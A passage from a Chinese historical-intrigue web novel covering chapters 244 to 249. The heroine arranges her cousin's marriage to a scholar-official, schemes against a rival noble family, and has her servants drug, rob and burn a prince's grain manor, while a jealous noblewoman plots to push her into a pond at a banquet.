他倒是没有觉得可惜,毕竟姜文鹤那样的人渣,活不活都无所谓。 但是总觉得这样一个人,实在是污了读书人的名声。 付沛总觉得哪里怪怪的,许昭昭才跟他说过几句话,这才几天的功夫,姜家就出事了,所以这一切只是巧合吗? 还是说,这都是许昭昭做的? 这么一想,付沛突然后背冒出一阵冷汗。 不太可能呀! 许昭昭也只是一介女子,又不会武,而且姜府内宅的事,她一介女子也不可能插得上手。 尤其是姜老太傅可是直接晕在朝堂上的,那可是众目睽睽之下,谁也没动他,而且御史的话也不过分,又没有骂人,也没有强行给姜家扣罪名,所以姜太傅的晕倒,应该就是自己的身体问题。 那就更不可能是许家人动的手了。 可越是分析,付沛觉得许昭昭插手的可能性越低后,再反过来倒推,付沛一下子就糊涂了。 想不明白,干脆不想了。 反正至少他清静了。 姜家不会再来烦他了,而他也的确是静下心来,需要好好想想,要不要娶许家姑娘为妻呢? 虽然县主提到的那位只是位庶女,但到底是出自侯府。 而且许文虽然不是侯爷,但他和许翰是亲兄弟,而且感情一直很好,再说许文的官职也不低呀,实权在握,关键是还简在帝心! 所以,于前途上,娶许家女定然是有好处的。 但许家是武将,他是文臣,其实也不算什么,毕竟他现在只是一个小官。 想到那日气势压人的安乐县主,付沛觉得自己或许是真的应该彻底地放弃了。 第244章 筹备婚事 姜文鹤的死,对姜家人的打击非常大。 主要是因为多年来,姜文鹤一直都是姜家小辈中被努力栽培的一个。 哪怕是他入仕无望,但也没有被姜家放弃,他们仍然在想办法为其游走。 可是谁能想到,姜文鹤会突然暴毙。 而且,还是以这种极其不光彩的方式死去。 被一个丫环反杀,还不如马上风死了的名声好听呢。 许昭昭早就想杀姜文鹤了,只是一直以来,她都在努力地维系着原主的人设,而且,也尽量地隐藏起自己的杀气来。 但是,姜文鹤是真真实实地惹到她了。 许昭昭原本就极其珍视这个家,珍视家中的每一个人。 但是姜文鹤触及到了她的底线! 不仅仅是故意破坏许君锋和安和县主婚事,姜文鹤还将手伸向了军营的文职,想借机对大哥不利。 这一点,许昭昭自然不能忍。 她原本以为断了他的前程,就能让他消停一些,完全忽略了,有贪欲的人,怎么可能会轻言放弃? 这一次,是许昭昭发现得早,所以能第一时间让大哥将军营里的两个小吏给换掉,若是再晚几天,只怕大哥被弹劾的折子送至御前,且实证也就会被人给搬出来了。 许昭昭这次下手果断干脆,埋了那么久的钉子,终于可以用上,而且还不会被任何人怀疑。 毕竟,姜文鹤在府中虐待丫环一事,姜家人尽皆知,只是不曾拿到台面上来说罢了。 所以,丫环被凌虐得忍无可忍了,这才痛下杀人,多正常! 许昭昭安排人让许婷婷和付沛见了一面。 说实话,以许昭昭对付沛的认知,许婷婷是配不上付沛的。 但现在付沛的官途并不稳定,而且现在官职也比较低微,所以,许婷婷嫁给付沛,才不会让人觉得哪里不配。 许昭昭想彻底地改变付沛的命运,就是想让付沛有个家,哪怕他心中并不是那种儿女情长之人,至少有妻有子之后,他做事,总会有所顾虑。 哪怕日后他再被姜宁缠上,或者是算计,至少付沛不会如书中所写,为其奉献一切。 有家的人,和没家的人,总归是不一样的。 许婷婷对于自己能嫁给付沛这样的年轻俊才,自然是十分满意的。 她是庶女,虽说在许家并不曾受到苛待,但总归是身份上低了一层,她原本还担心母亲会将她许给别人为妾或者是继室的。 没成想,竟然还能嫁给一位官员做夫人。 这可真是天大的喜事! 许婉婉也为其感到高兴。 毕竟,姐姐嫁得好了,她日后也能跟着沾光。 而且由姐姐的婚事就能看出来,父亲母亲并无意利用她们两个的婚事来换取好处。 能有这样的父母,她们已是感激涕零了。 付沛也同意了这桩婚事。 他对许婷婷并没有那种动心的感觉,只是娇俏的少女,那灵动的眼神,还是很令人印象深刻的。 婚事定下,之后便是要走三书六礼了。 婚期暂且定在十月,就在许昭昭和谢铮的婚事之后。 长幼有序,这是有规矩。 因为付沛与许文的女儿定亲,所以姜家即便是已经腾出手来了,也不好再因此而针对付沛,毕竟,许家也不是好惹的。 付沛和许家结亲的事情一传出来之后,他在朝堂中明显就顺利许多。 先前针对他的那些同僚们,也变得安分了,对他不满的上官,跟他说话时语气也不再那么尖锐刻薄了。 总之,一切都在往好的方向发展。 付沛家境贫寒,而成亲这样的大事,还是要告知父母的。 付沛乃是农户出身,若非是因为他中了秀才之后,只怕现在付家都是食不裹腹的状态。 自付沛中秀才后,家境渐渐好转,毕竟有了免税田,而且全族也都看到了希望,自然愿意出资供养他。 付沛也果然不负众望,之后又考中了举人,免税田增多,最主要的是他成为举人后,地位得到了大大的提升。 但是当时付沛的师长也提醒过他,不要被眼前的富贵一下子冲昏头脑。 因此,付沛并没有将所有的礼物以及银钱田地都收下,而是做了挑选。 因为有了县府送来的贺仪和奖赏,所以付沛才有了进京赶考的底气。 换句话说,中了举人,对于付家而言,顶多就是三间茅草房换成了几间砖瓦房,并没有让付家的财富得到太大提升。 付家也是看重名声的,若是付沛的名声受损,那前途堪忧。 付沛上面有两个姐姐,早已成家,付沛下面还有一个弟弟,但是因为不是读书的料,所以早早地学了一门手艺,如今也成亲生子了。 如今接到付沛的信,得知他要在京城成亲,而且还要娶一位大官之女,听闻是侯府小姐,付家全族都跟着激动起来了。 付家人接到信,便开始收拾准备,一想到可以进京了,谁能不激动? 付沛名下的田地不少,这些都暂时交给同宗的堂兄帮着打理,还有族长看着,出不了差错,于是一家人包袱款款地进京了。尛說Φ紋網 许君清得知妹妹的婚事定下,倒是松一口气,至少这阵子母亲会有得忙,不会总盯着他的亲事了。 “付大人的俸禄不高,而且京城地贵,他如今住的院子还是咱们许家名下的。但若是成亲,这院子怕是再住就不合适了。” 付沛本就是读书人,一身傲骨,若是住在许家的院子里成亲,定会觉得不自在,总有一种入赘的羞耻感。 可京城的宅院,也的确不是那么好买的。 许昭昭倒是觉得这并不难。 “那处院子成亲并不合适,地方太小了些,付家的长辈亲人都要过来,住不下,不如另外寻一处大一些的宅子,过户到付大人名下吧。” 许君霆瞪眼:“昭昭,他不会收的。” “他会的。” 许昭昭笑道:“就说让他出资买下来即可。” “啊?”许君霆懵了。 许君清也皱眉,若是付沛能买得起,那又何必住在那里? “我会让百果园奉上谢仪,如此一来,付大人手上自然就有银钱了。宅院嘛,最好是三进的,毕竟现在付大人官职不高,太大的院子就逾制了。” 第245章 共同想办法 许君清还没有反应过来,一旁的许君安先问道:“百果园给什么谢仪?能给多少?这京城的宅子,可是寸土寸金。” “大哥,咱们想想法子,把价钱压下来便是,暗中助力一把,就算是付大人能猜出来,也会感激咱们不曾将一切揭破。另外,婷婷妹妹日后的陪嫁里定然是会有一两处宅院以及铺面田产的,届时也便显不出什么了。”wWW.xszWω㈧.йêt 许君霆皱眉:“可付兄是位傲气之人,他应该不愿意花用妻子的嫁妆的。” “咱们也没说让婷婷妹妹养家呀,而且付大人如今是从六品,这个官职是可以的。每年禄米九十石,他们一家子人再加上奴仆的口粮也都足够了。再加上月杂,约莫就是两贯钱左右,还有朝廷赐下的十余名力课。 这么算下来,其实平时的日常花销也没多少,只要日后婷婷妹妹嫁过去不铺张浪费,那么付大人的俸禄足以养家,这里面还没算付大人名下的职田呢。所以,只是寻常过日子,足够了,但若是想要过得再好一些,那就是日后婷婷妹妹要想法子的了。” 许君安挑眉,他听明白了。 付沛是朝廷官员,不可以涉及商行,否则容易被人弹劾他与民争利。 可许婷婷是女眷,日后出嫁自然也是要带嫁妆的,那就不一样了。 且付家的亲眷们要来京城,届时再让付沛置办一些产业,可以让家人去打理,这便影响不到他了。 其实这也是大多数官员的基本操作。 很正常。 上面就算是知道,也不会多问。 毕竟谁都要过日子的。 至于职田,这一项的收入的确是不少,足够他们一家十几口子人能过上吃穿不愁的好日子了,只是不能奢望什么都要用最好的,否则,那是真供养不起。 许昭昭思及付沛如今的俸禄,不得不感叹一句,难怪人人都要做官呀! 大兴朝官员的职田是一种俸禄形式,旨在通过分配土地增加官员收入,确保其廉洁奉公。 但是官员对职田拥有使用权,可以耕种或出租,但所有权仍归朝廷,官员不得买卖或转让。当然,职田的收益归官员所有,作为俸禄的一部分,用于补贴生活。 但是职田的管理由地方府衙负责,确保分配和使用符合规定,也就是说,付沛是从六品,有将近四百亩的职田,但是并不是真地记在他名下,日后他若是被罢官,这四百亩职田也就跟他没关系了。 换个角度想,四百亩的职田收入,已经相当可观了。 若是将产出换成银钱,一月大概也有十几贯钱的收入了。 当然,因为是职田,所以这个收入是一年两次,并非是固定的每个月都有。 朝廷已经很大方了。 而且职田这种东西,也是看人的。 比如说,付沛以前的职田收入定然不会太高,地方官员定然会想着克扣一部分。 但若是传出付沛与安信侯府结亲的消息后,这份收入定然会提高。 不信就瞧着吧。 官场上,这种事情太常见了。 都不值一提。 你没有资源没有背景,就是被人踩的份儿! 这一点,付沛已经深深地体会到了。 但是他又能如何呢? 难道真去找地方县令理论吗? 他都不用想,人家定然是有十七八个理由在那里摆着呢,你能如何? 所以,为什么会有那么多的学子一旦有些名气后,就会想着能寻高官或者是世家大族庇佑。 总归是不一样的。 两日后,许川带着两箱铜钱到了。 付沛这几日也正在为了置办宅子的事情发愁。 他虽然攒了一些银钱,但是如果买房,那就差了太多。 “这是?” “给付大人请安,在下许川,是百果园的账房,也是许家的族亲。县主早有吩咐,要将状元酒的相关收益与您分一下账,但是因为先前一直忙着给战场送药,所以这和耽搁了,还请付大人勿怪。” 付沛都听懵了。 状元酒的收益,与他何干? 况且,先前即便是曾做过诗,那谢仪他也已经收入了,又何必再来一次? 而且瞧着这阵仗,钱数应该还不少。 “怕是弄错了,状元酒与在下并无关系,何来收益分账一说?” “好叫大人明白,这状元酒,一来是托了圣上的福,所以才声名远播,又有圣上的亲赐名,所以百果园每年都会将一份收益送入宫中,此事想必不少人也曾听闻。二来这状元酒能入得才子名家的眼,还是多亏了您的赞诗。这份收益,是您应得的。” 付沛听懂了。 连皇上都收了,你怎么就不收呢? 因为你与众不同? 百果园是许昭昭的产业,付沛自然是知道的。 但是从没想过,许昭昭竟然如此大方。 “许先生,当初写诗的谢仪,某已经收了,再收,就不合适了。” “哈哈,付大人莫慌。这里面除了因为您的诗而得来的收益之外,我们主子还有一份不情之请。” “请讲。” 许川手中并无契约,只是拱手道:“百果园每年都会推出新酒,果酒、烈酒、花酒、养身酒等等,种类不一,我们主子是希望您日后都能多称赞一二。毕竟您是真正的状元郎,能得您的一两分夸赞,便足以让我们的酒水卖上一个好价钱。” 这话,听着有理,但又觉得过于夸张了些。 至于吗? 但许川将话带到,也将银钱带到,之后便告辞了。 书童将箱子打开,再逐一数过。 “大人,这里总共是一百贯钱!” 付沛挑眉后,又是一阵苦笑,转头又是一脸感激地看向了侯府的方向。 这哪里是请托办事,分明就是知道共着急用钱,特意送上门来的。 “也罢,收下吧。” “是,大人。” 小书童满心欢喜地吩咐人将这两箱子钱抬进屋里,然后又琢磨着一定得看好了,可不能让人盗了去。 次日散朝后,付沛被许君霆叫住。 “我们看中了一套宅子,待会儿若是无事,咱们一起去看看。这宅子是之前的犯官私宅,后来被户部没收,当时还是我舅舅有先见之明,先一步入手了,咱们这关系,不让他赚你的钱,原价卖你便是。” 第246章 受益匪浅 付沛被许君霆拉着去看宅子,崇业坊的位置还不错,虽然不及侯府这般离着皇宫近,但也算是可以了。 而且崇业坊里住着好几位四品官员,所以付沛若是能将宅子买在这里,至少十年八年不用急着换房子了。 最关键的是,许君霆带他看的这套宅子足够大。 “这是一处大三进的宅子,你现在是从六品,再大的宅子就不合规制了。” 付沛点头,的确如此。 “你看,这里还有一处小花园,日后你们家的女眷也可以在这里赏花小酌,不过现在嘛,还是有些破旧的。” 这宅子虽然是被王长庚买下了,但却一直荒废着,所以院子里杂草横生,只有一对守门的老夫妻把前院打理得还行。 这么大的宅子,想要靠两个老人家来打理干净,那简直就是欺负人。 “我舅舅说了,因为这宅子护理得不太好,有些地方可能还得修葺,所以他也就不溢价,原价卖与你便是。” 付沛原本以为许家这是担心日后许婷婷跟着他受苦,所以才会张罗着一处大宅子,好让许婷婷住得舒心。 可是如今一看,这宅子的确是荒废不堪,有几间的厢房还得更换砖瓦,自己原价买入的话,估计还要再贴上十几贯钱,才能全部修好。 不过,院子足够大,所以他现在不用着急,只需要将主院落收拾出来就好,至于偏远一些的院落,过两年再收拾也不迟。 “这宅子荒废有几年了吧?” “是呀!这宅子是十几年前我舅舅就买下的,当时还是新宅院呢,而且我表哥他们也曾在这里住过,只是后来就渐渐来得少了,最近四五年,基本上就没怎么住过人,所以我舅舅还觉得原价卖你,都有点儿欺负你了。” 付沛闻言哈哈大笑。 “王大人果然心善,能原价卖我,已经是相当感激了。” 现在的京城,比十几年前的京城更为繁华,这地皮自然也更值钱了。 不涨价,就已经让付沛觉得格外感激,哪里还敢奢望其它? 最终,这处宅子被付沛以二百二十贯钱拿下。 若不是有许昭昭送来的一百贯钱,付沛还真没那么多钱买下来。 付沛这两年做官,虽然也攒了一些,但还是要留出来一些购置聘礼的。 现在买下这处宅子之后,买聘礼的钱就不多了。 可他要娶的是许文的女儿,虽然是庶女,那人家也是娇客,自己总不能拿上二斤肉就将人家闺女给娶回来。 所以,怎么才能抓紧弄些银钱来呢? 正值此时,许昭昭的人再度登门。 不过这一次,来的不是许川,而是柱子。 “原来是许管事,不知县主有何吩咐?” 付沛还以为是县主派他来传话的,结果好像不是那么回事。 “实不相瞒,我们县主在蓝田的庄子已经建得初有规模,但是县主乃女眷,县主府如今未曾建好,庄子那里,我们县主也不便前往,而三公子近来公务繁忙,所以贸然请付大人帮忙给取几个有意境的名字,还请付大人勿怪。” “只是几个名字?” “县主的意思是,若是您能亲自题笔自是最好的。状元郎的字,还是颇有名气。” 付沛点点头:“如此,那改日我便亲自去一趟再说?” “自然可以。不过如今庄子的名字已经取好了,就叫云栖山庄,县主已经请人打造了牌匾,是舅老爷亲笔所题。” 王长庚是文官,而且身份显赫,又是长辈,由他题匾,自然是无碍的。 “好,那本官尽快去看看。” “有劳付大人。” “客气。” 付沛还觉得不过是一处庄子,何必非要让自己亲自去想名字? 待他带着书童一路抵达蓝田县后,终于有所明白。 云栖山庄的大字,还真地是十分醒目。 严树带着他一路参观,主要是告知他何处是做什么的,哪里又是招待宾客的等等。 这么一走,付沛就明白为何许昭昭要请他来走这一趟了。 此处日后必然是第二个百果园。 不,也不对,应该是与百果园有所不同。 百果园更倾向于青山绿水、百花争艳、秋果累累的美景,而这云栖山庄,显然是不一样的。 这里有一处极为宽阔的马场,日后来这里打马球,那绝对是一大享受,不仅如此,还有工坊、甚至还有一大片的暖房。 付沛不知道许昭昭为何会要弄这么多的暖房,但总归是她定有用途。 付沛起初还不明白,百果园做得那么成功,为何不仿照百果园的模式再建一处庄子。 待他询问过之后才知道,这里很多都是荒地,能种粮食的地,他们都筛选出来了,选做马场的那片地,实在是种不出什么,就算是能长出来,可是投入也是巨大的,这不合适。 用许昭昭的原话说,投入与产出不成正比,真这么做了,那是巨亏,傻子才会继续。 付沛听得似懂非懂,越发觉得,自己或许应该找个时间与这位县主再好好聊聊。 付沛走这一趟,深有体会。 不仅当场就把名字给取好了,更是心中受到了极大的震撼。 他觉得,他以前的诸多想法都太过狭隘了。 他的眼光,竟然还不及一位深处闺阁的女子。 是他的问题,他应该自省。 柱子送上的谢仪不算多丰厚,除了一些肉食和补品之外,还有一些丝帛。 丝帛在大兴也是很珍贵的东西,且在一些权贵之家是可以直接当作钱财来流通的。 至于普通老百姓,他们是不允许穿用的,所以这东西真到了他们手上,也只有尽快出手的份儿。 付沛原以为这又是许家弄出来的一个给自己送钱的名目,原本心中还有几分抵触。 但是看到这些谢仪后,又觉得好像是自己想错了。 不对,他觉得是自己以小人之心度君子之腹了! 但是这一趟蓝田之行,让他受益匪浅,当晚便下笔如有神一般写下一份奏折,于次日,直达天听。 而永安帝在看到这份奏折之后,当即大喜:“来人,传付沛勤见!” 第247章 烧了 付沛去过百果园,这次又去了一趟云栖山庄,同时,他还抽时间云蓝田县各处走走看看,一时间感慨良多。 付沛本就是有才之人,回去之后,便奋笔疾书,洋洋洒洒一大篇的策论就出来了。 这下子,自然是引得永安帝的重视。 一刻钟后,户部尚书又被叫过来,半个时辰之后,付沛奉赏回府。 永安帝看到策论之后大喜,又听顾尚书此策大有可为,自然格外高兴。 他是明君,自然也想着能国富民强。 虽然北地在打仗,但是国库每天都有进项,而且他的私库还有许昭昭的进贡,自然就不会吝啬。 付沛被赏了两块银铤、五匹丝帛、两盒茶叶以及一把金瓜子。 这个赏赐,可以说是很丰厚了。 毕竟付沛现在只是献策,真正的大赏,要等到真正看到效果之后才会再有。 “这赏赐我拿着亏心呀!若非是县主给了我这样的机会,只怕我也想不出此等良策。罢罢罢,日后都是一家人了,我还是要先想办法强大自身才是。” 姜文鹤之死,不足以让姜家大乱,毕竟他只是一个小辈,也就是邓氏会难过地更真诚一些。 许昭昭在地图上某处画了一个圈,之后微微勾唇。 “姜家,也并非是铁板一块呢。” 姜太傅身体大好之后,重回朝堂。 只是他才第一天上朝,就听闻他的一位在外任职的族侄再被弹劾。 理由很正常,他的妻儿仗势欺人,为了强抢民女,打死了人家的未婚夫,如今苦主已经告到京城来了。 能让苦主一路逃亡,被逼得只能告御状,这种案子基本上是不用查,九成的概率就是真的。 皇帝震怒,命大理寺彻查。 御史还不忘提醒了一句:“陛下,苦主一家一路逃亡,还数次被人追杀。听闻他们在京城寻找府衙时,还曾被人驱逐。天子脚下,这些人不敢公然杀人,但是却可以明止张胆地驱赶。还请陛下能为百姓做主。” “此事的确是应当严惩,赵长清!” “微臣在。” “那一家苦主便由你来安排,定要确保其安全无误。” “微臣领旨。” 姜太傅刚刚才好起来的身子,又开始哆嗦了。 不是吓的,是因为上了年纪,再加上可能有些老人病,如今再被这么一刺激,所以就会显出一些症状来。 晚上,许昭昭将剑九和麦冬叫过来了。 “今晚要辛苦你们一趟了。我安排的人已经在附近等着,只需要你们先将人控制住,咱们火速将粮食运走,然后便可以一场大火烧尽了。” “那庄子里的人?”剑九还是要问清楚任务内容,免得再被问责。 “这是药,你们可以直接想办法下到井水里,这样他们便都能昏睡过去。药效差不多就是两个时辰,估计咱们的人将粮食运完之后,也就差不多了。届时你们再点火。记得,先将空粮仓给点了。” “是,属下明白。” “还有,你们二人记得在现场叮嘱所有人,除了粮食之外,不要动庄子上的任何东西,无论是银钱还是珠宝,都不可沾手。” 麦冬不解:“却是为何?” “这里离京城太近了。一旦惊动了赵长清,你们觉得以他的查案能力,是否会通过蛛丝马迹查到你们身上?” 赵长清的能力可不是假的,而且此人又十分公正,不是那么好糊弄的。 许昭昭现在就只需要等消息就可以了。 城门是有门禁的,但是城外可没有。 所以,他们在夜里直接将大量的粮食运走,在乡下,可不会有什么衙役巡逻。 天亮后,许昭昭还未用早膳,麦冬和剑九就过来回话了。 若非是因为城门关了,他们半夜就能回来。 “禀小姐,一切都办妥了。” “很好,相关痕迹也清理掉了?” “小姐放心,马车印子都清理掉了。而且我们后来又特意安排人弄一些牛车驴车来回走,您大可放心。” “做的好。总共收获多少?” 两人对视一眼后,还是麦冬回禀道:“咱们事先准备了十二辆马车,总共拉了两趟。最后一趟时,又安排了两辆驴车过来的。” “那还不错。可有人员伤亡?” “并无。但是对方中有一人中途醒来,被我一刀砍了,然后扔进空粮仓了。其它人也都是在火势起来后,就先后转醒,不过火势太大,他们也没办法扑灭,最后还有几个人竟然趁机跑了。” “做的好!” 他们昨晚去偷袭的,正是姜宁名下的一处田庄,算是当初她的陪嫁。 说是她的庄子,实际上,她入了忠王府后不久,那里就被忠王给接手,然后专门给他自己培养的私兵筹措粮食了。 二十余车的粮食,这可不是小数。 许昭昭在内心换算着,一车大概可以拉上一千斤的粮食,二十车,那便是两万斤。 因为那里储存的麦子都是未曾脱壳的。 所以一个人一个月的消耗大概是在一百斤左右,两万斤,足够两百人一个月的口粮了。 只弄走这些,还不够。 据她所知,忠王手里头豢养的私兵至少也在五千左右。 所以,这么点粮食,实在是杯水车薪。 这次没能找到大粮仓,那就下一次。 许昭昭之所以选中这里,就是因为它是落在姜宁名下的,是以嫁妆的方式跟忠王府捆绑在一块的。 仅从这一点就不难看出,真正拿着银钱来供养着那些私兵的,应该是忠王妃赵月! 许昭昭暂时不想跟赵月对上,毕竟那位可不好惹。 能将姜宁这样的女人给治得服服贴贴的,可见其手段之高明。 两万多斤的粮食,对于忠王来说,也不少了。 “消息确实吗?” “回王爷,应该是错不了的。不过今天一早就开始刮风,所以现场比较凌乱,从灰烬上,也很难判断是否是空粮仓。但是根据底下人的描述,时间太短,二十多车的粮食,不可能在这么短的时间内运走,所以最大的可能,就是一起烧没了。” 忠王气得怒捶桌面:“岂有此理!到底是什么人在故意跟本王做对!” 第248章 为什么要恨她? 姜家暂时顾不上找别人家的麻烦了,许昭昭也就能安心地待在家里闲鱼了。 该送的药也都送去了,粮食什么的也不用她操心,她对于父兄的能力有信心,所以,压根儿就不会多想。 但问题是,总会有人不放心的。 比如说,二嫂安和县主。 许昭昭得了母亲的吩咐,只要是二嫂在府里,她就要多去二嫂院中坐坐,有时候也会邀二嫂到自己的院子里鼓捣一些新奇玩意儿。 好在,安和县主如今手上也有很多事情要管,所以许昭昭并不需要一天到晚都陪着她。 “小姐,李府给您送了请贴。” “嗯?” 许昭昭接过来一瞧,原来是李夫人的生辰宴。 李明雅和许君霆二人定了婚事,而且今年就要成亲的,所以李夫人的生辰宴,她也是去得的。 王若兰肯定也是要去的,以后和李家是亲家,所以不能让人落了话柄。 许家只有张氏没去,因为她要照顾孩子。 王若兰和李氏两位长辈带着家中小辈一起去凑热闹了。 李夫人的生辰宴,只请了女眷,毕竟这原本就是内宅女眷们互相见面、聊天的机会,何必那些个只会说正事的男人们掺和进来。 李明淑一直跟在李明雅身边,这一点其实是许昭昭所不能理解的。 来者皆是客,李明淑又何必总跟在姐姐后面?难道她不能去帮忙招呼一下年轻的姐妹们? 安和县主听到她的疑惑之处,笑道:“不懂了吧?这李明淑精明着呢。跟在李明雅身边,接触到的都是高门贵女,最重要的,都是嫡女。” 这么一说,许昭昭就反应过来了。 毕竟以李明淑的身份,她只能去接触一些门第稍低一些的嫡小姐,再不然就是其它的庶小姐。 由此可见,这李明淑的心气儿高着呢。 不过许昭昭注意到李明雅并没有觉得这个庶妹烦,偶尔还会向她介绍一下这是哪家的姑娘。 许昭昭抿唇,她是真心佩服李明雅的。 反正若换了是她,她是做不到对自己的庶妹这般心平气和的。 她之所以可以对许婷婷和许婉婉一视同仁,那是因为她们是二房的姑娘,而且现在二房未出阁的姑娘就只有她们俩,这两个妹妹又都是不爱争抢炫耀的那种性子,所以许昭昭可以带着她们玩。 但若是自己父亲的小妾生下来的孩子,她总会觉得心里膈应的。 但其实她也知道这种想法不对。 毕竟时代使然,这年头嫡庶有别是礼法,但也不能做得太过了。 而且满京城像是父亲和母亲这样的高门贵族家的夫妻,实在是太少了,十个男人里面至少有七个都是有小妾通房的。 许昭昭一时间就想歪了。 还是安和县主拍了她的手背一下,这才恍过神来。 “怎么了,二嫂?” “刚刚跟你说话你没听到。我瞧着咱们二婶的脸色不太好,那边。” 许昭昭顺着她的视线看过去,一时间也没明白。 还是丁香上前解释:“那位是李家的三夫人,就是李碧瑶的母亲。看样子应该是她有什么事求到了咱们二夫人头上,可是二夫人不答应,所以二人有了争执。” 许昭昭一听是她,立马没了兴致。 安和县主是知道李碧瑶的,毕竟这种上赶着做妾的姑娘,实在是不多见。 民间百姓但凡是脑子正常一些,家里长辈通情达理一些的,都不会让自己的女儿去作妾,那实在是太丢脸了。 可这李碧瑶,却是以此为荣。 如今世子换人了,也不知道这个李碧瑶后悔了没有。 “丁香,去跟母亲那里知会一声,让她多注意着二婶一些,别再被人欺负了。” 李氏的性子就是太软了些,况且这里又是她的娘家,有些话定然是开不了口的。尐説φ呅蛧 不一会儿,丁香回来禀道:“夫人说没事,二夫人心里有数着呢。而且这里是将军府,可不是李碧瑶的家。” 许昭昭点头:“那就好。” 安和县主在一旁笑道:“你呀,这个小管家婆的形象都立起来了。小小年纪,操心的事情倒是不少。” 许昭昭挑眉:“二嫂嫂好像是在指责我吧?哼,待回府后,我定去母亲跟前告你一状!” 安和县主明知她是故意的,但还是很配合道:“哎呀,昭昭妹妹别生气嘛,我哄哄你如何?” 许昭昭不吃这一套:“哼!就只是口头哄哄吗?” “我那里新得的几盆兰花,回头送到你的紫园去,如何?” 兰花? 许昭昭这下子高兴了:“那可说定了,你不许反悔。” 李明雅看她们姑嫂二人相处融洽,不由得想到日后自己嫁入侯府,应该也是这等的光景,心中是又羞又喜,再次感激父母的眼光好。 今日李明雅是寿星,自然不可能一直陪着她们说话,所以浅聊几句之后,便去招待其它客人了。 临走时,许昭昭还打趣了一句:“三嫂嫂放心,我们都是自己人,你还是先忙着去招呼外人吧。” 话落,一旁的安和县主也跟着笑,气得李明雅伸手在她胳膊上轻拧了一下,这才走。 看到她们相处这般融洽,不高兴的人,自然也不少。 比如说姜芙。 她现在简直就是整个上流圈子的笑柄! 当初费尽心思嫁入了国公府,结果丈夫是个花花公子还不算,如今竟是连世子之位也没了,更是因为残疾而无法再为朝廷效力。 若不是圣上恩德,还给了他一个虚职傍身,只怕如今姜芙就是豁出性命去也要和离! 姜芙心中有怨,却始终不知道应该冲着谁。 如今站在园中,看着亭中一幕,她所有的怨气,似乎一下子就找到了发泄口。 是许昭昭! 如果不是她当初将恶犬咬人一事闹大,之后她的生活也不会一团乱麻。 正是因为那一次之后,公爹和婆母才对她愈发地不待见,而世子也因此而对她更为失望,十天半个月的也不肯踏足自己的院中一次。 就是许昭昭! 这一切的祸根都在她那里,一切都是她的错! 这一刻,姜芙恨不能将许昭昭给生吞活剥了。 第249章 要搞小动作 姜芙虽然不再是国公府的少夫人了,但她仍然是大少夫人,而且因为她出身姜府,所以在国公府里并没有哪个人敢真正地对她不敬。 但是如今的世子夫人,也就是刘怀德的妻子,对她可真没有多少敬意。 也就是出门在外,会给她几分属于大嫂的颜面,在国公府,那是半点不给其留情面的。 如今家中中馈,便是由国公夫人和新上任的世子夫人共同掌管,膳房那边也是世子夫人在管,姜芙的膳食,自然是比不得从前了。 但你要是硬要挑毛病,好像也挑不出来。 比如说,你要的燕窝粥,人家也给你做了,只是说用的燕窝档次没有那么高了,而且煮的也没有那么黏稠了。 但是你能说人家阳奉阴违吗? 姜芙气得几次和弟妹理论,但是每次都是她气势汹汹,对方却是一脸平静,情绪稳定,没有对她这个长嫂有半分不敬,可就是不松口。 次数多了,国公府的人不会觉得是世子夫人在苛待大少夫人,反而是这位大少夫人是位爱挑事的。 因为一碗粥不合胃口,就要去找世子夫人理论,这实在是没半点风度。 日子久了,原本对她还有几分怜惜和愧疚的国公爷和夫人,也不再偏袒她了。 情分是好不容易攒下来的,但是想要消磨掉,那可是太容易了。 如今姜芙在国公府就好像是一个透明人,夫人那里嫌她几次说话阴阳怪气,所以也干脆免了她平时的晨昏定省。 这姜芙也是个缺心眼儿的,觉得夫人主动免了,她就真的一次也不去了。 这种事,无论是放到谁身上,只怕都会觉得姜芙不懂事。 李夫人其实并没有给姜家下贴子,毕竟姜家才刚死了人,虽然是小辈,但也是白事,与李明雅这喜事对冲,还是不来往的好。 可偏偏,国公府的贴子被姜芙看到了,她执意要来,谁能拦着? 李夫人在看到她的一瞬间,还以为看错人了。 毕竟亲弟弟才死了没多久,这位同胞姐姐怎么还能有心思来参加宴会? 而且瞧着她这一身穿戴,虽不是大红大紫,可也绝对和素雅没有关系。 所以,这人的心是得有多大? 脑子呢? 姜芙虽然恨许昭昭,但也知道不能与其直接冲突。 姜芙看到前面的荷塘,计上心来。 这个时节,荷花还没开呢,但是荷塘与府内的活水相接之处,上面有一座小桥,可以到对面的一座花房中赏花。 今日来的不少爱花之人,都已经去花房中赏花了。 其实花房中有近半的花卉都已经搬出来只为妆点厅堂庭院,许昭昭也借此机会没少给自己身上搂好处。 但是听闻花房里还有一些不宜拿出来的花,自然就想着去看看。 安和县主做为她的嫂嫂,自然不能让她一人去,二人各带着一名丫环,沿着青石板路,准备上桥。 “少夫人恕罪,奴婢这就去找,还请少夫人息怒。” 一名丫环告罪后,便赶忙起身寻找东西。 之后又有李府的几名丫环被拉入这寻找失物的队伍中。 许昭昭和安和县主对视一眼,显然不明白发生了什么事。 丁香过去打听一下,这才回来禀报:“是肃国公府的大少夫人掉了一只耳环,听说上面是镶了红宝石的,而且还是当初大公子给的聘礼中的一件,大少夫人正在命人寻找。” 许昭昭眼神一转:“姜芙?” “正是。听说丫环都要急哭了,说是姜芙极其喜欢这对红宝石耳环,如今只留一只,难免伤心。” 许昭昭直接嗤之以鼻。 别人不知道她姜芙是个什么东西,自己还能不知道吗? 这是想着上演一出和刘怀恩夫妻情深的戏码呢? 真以为别人都是傻子! 刘怀恩没残之时,也没见你姜芙对他多上心呀! 这会儿不能袭爵了,又成残废了,你过来演这么一出夫妻情深的戏码,谁信? 安和县主的眼底也满是嘲讽,自然不信姜芙会是那等情深意重之人。 但是不信归不信,明面儿上还是不能显出来的。 几名丫环寻找之时,不由自主地就得让许昭昭和安和县主避开位置,这样避着避着,她们离着荷塘可就近了。 许昭昭一直在暗中观察,很快就察觉到了这些人的意图。 这是想要让她们姑嫂二人当场落水丢脸吗? 后花园内都是女眷,若只是落水,自然不会担心声誉有损,可这么多的女眷,多少人来来往往都没事,偏单独她们姑嫂二人落水,一旦传出去,坊间指不定会有什么样的恶心谣言。 况且,现在还不是夏天呢,这水可凉着,万一泡坏了身子,找谁说理去? 许昭昭紧紧地攥着安和县主的手,然后示意丁香故意撞倒了一个丫环。 “哎哟!” 丁香连忙上前将人扶起来:“真是对不住,刚刚我也帮着找呢,没注意看,姑娘没事吧?” “没事,我们就是干粗活的下人,摔一下能有多大事,不说了,赶紧找。” “你这么急做什么?我还想着让你检查一下是否有受伤呢?” 